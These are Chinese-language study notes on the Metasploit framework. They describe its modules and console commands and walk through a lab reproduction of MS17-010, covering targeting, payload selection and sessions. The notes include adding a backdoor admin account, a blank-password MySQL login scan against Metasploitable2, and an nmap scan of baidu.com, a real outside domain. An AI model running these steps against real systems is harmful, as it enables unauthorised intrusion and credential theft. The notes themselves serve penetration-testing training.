metasploit 渗透测试框架介绍

1.基础库: metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括
Rex,framework core 和 framework base 三部分。

2.模块:模块组织按照不同的用途分为 6 种类型的模块( Modules
分为辅助模块(Aux)、渗透攻击模块( Exploits) 、后渗透攻击模块( Post) 、攻击载荷模块
payloads) 、编码器模块( Encoders) 、空指令模块( Nops) 。

3.插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus 、 OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。

4.接口:包括 msfconsole 控制终端、 msfcli 命令行、 msfgui 图形化界面、 armitage 图形化界
面以及 msfapi 远程调用接口。

5.功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快
速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload 、 msfencode 和
msfvenom 可以将攻击载荷封装为可执行文件、 C 语言、 JavaScript 语言等多种形式,并可以进行各种
类型的编码。

Metasploit程序需要使用 Postgresql 数据库。
PostgreSQL是一种特性非常齐全的自由软件的对象 关系型数据库管理系统( ORDBMS ),是以加州大学计算机系开发的 POSTGRES 4.2 版本为基础的对象关系型数据库管理系统。

Core Commands
核心命令
Module Commands
模块命令
Job Commands
后台任务命令
Resource Script Commands
资源脚本命令
Database Backend Commands
数据库后端命令
Credentials Backend Commands
证书 凭证后端命令
Developer Commands
开发人员命令

1.核心命令中的 connect 命令

connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“ connect
19 2.168.1.1 80

connect

2.模块相关的命令 show 使用方法
show命令用的很多。
有效参数是 all, encoders, nops, exploits, payloads, auxiliary, post,plugins, info, options
例1 :列出 metasploit 框架中的 所有渗透攻击模块 exploits 。
msf6 > show exploits

3.模块相关的命令 search 搜索的使用方法

matesploit framework功能

  • 信息搜集

  • 漏洞探测

  • 漏洞利用

  • 权限提升

  • 内网渗透

  • 权限维持

  • 痕迹清除

ms17_010漏洞复现

1>模块相关的命令 use 的使用方法
use使用参数。如你要使用到某个模块,就要使用到 use 命令

search ms17_010

use ms17_010

info

从弹出的消息中,需要重点关注的内容是:

1.可用目标 就是查看可以攻击哪些操作系统

2.Basic options: 调用 漏洞 需要的相关参数

3.漏洞 描述和执行过程:

4.参考文档

2>.使用 show 命令查看模块的相关信息

show options 查看模块的选项

mb/ms08_067_netapi) > show targets 查看可以攻击哪些操作系统

设置RHOSTS 参数,指定攻击的目标机器
set RHOSTS 192.168.3.28

search windows/x64/shell type:payload

set payload 名字

net user admin admin /add

chcp 65001

net user

exploit -j 表示后台执行

session -i 2

background 转移到后台

sessions

sessions -k 2 结束会话

总结使用
metasploit 攻击的步骤:
1.查找 CVE 公布的漏洞
2.查找对应的 exploit 模块
3.配置模块参数
4.添加 payload 后门
5.执行 exploit 开始攻击

msf扫描靶机上的mysql服务的空密码

登录Metasploitable2 Linux

msf6 > use auxiliary/scanner/mysql/mysql_login

msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true 为所有用户尝试空密码
BLANK_PASSWORDS => true
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.3.27
RHOSTS => 192.168.3.27

使用后端凭证命令 creds 列出数据库中的所有凭据
Credentials凭证 证书
msf6 auxiliary(scanner/mysql/mysql_login) > creds

数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)

将前面扫描 mysql 数据库空密码信息导出
msf6 auxiliary(scanner/mysql/mysql_login) > db_export f xml /root/bak.xml

注:导出只支持两种格式:xml 和 pwdump

常用的导出格式为xml

msfdb reinit 重置数据库

msfconsole 开msf

db_import /root/bak.xml

msf6 > hosts

c 此 选项 使我们能够选择要用 hosts 命令显示的数据的列或字段,类似于 SQL 中的 select 命令,在上图中可以看到显示的可用列。

msf6 > hosts c address,name,os_name

删除指定主机
msf6 > hosts d 192.168.1.180

我们还可以直接将NMAP 的扫描结果导入到 Metasploit 数据库中我们新开一个终端窗口来进行扫描。

nmap -A baidu.com -oX baidu.xml
-oX 将扫描信息导出到 XML 文件中

db_import /root/baidu.xml

hosts

services

msf6 > services -R 39.156.69.76

msf 命令

msf6 > help

核心命令

?帮助菜单
banner 显示一个 metasploit 横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep 另一个命令的输出 如: grep creds help
help 帮助菜单
history 显示命令历史
irb 进入 irb 脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
模块命令

advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息

loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
工作命令

handler 作为作业启动负载处理程序
jobs显示和管理作业
kill 杀死一个工作

rename_job 重命名作业

资源脚本命令

makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令

数据库后端命令

db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行 nmap 并自动记录输出

db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换

凭证后端命令

creds 列出数据库中的所有凭据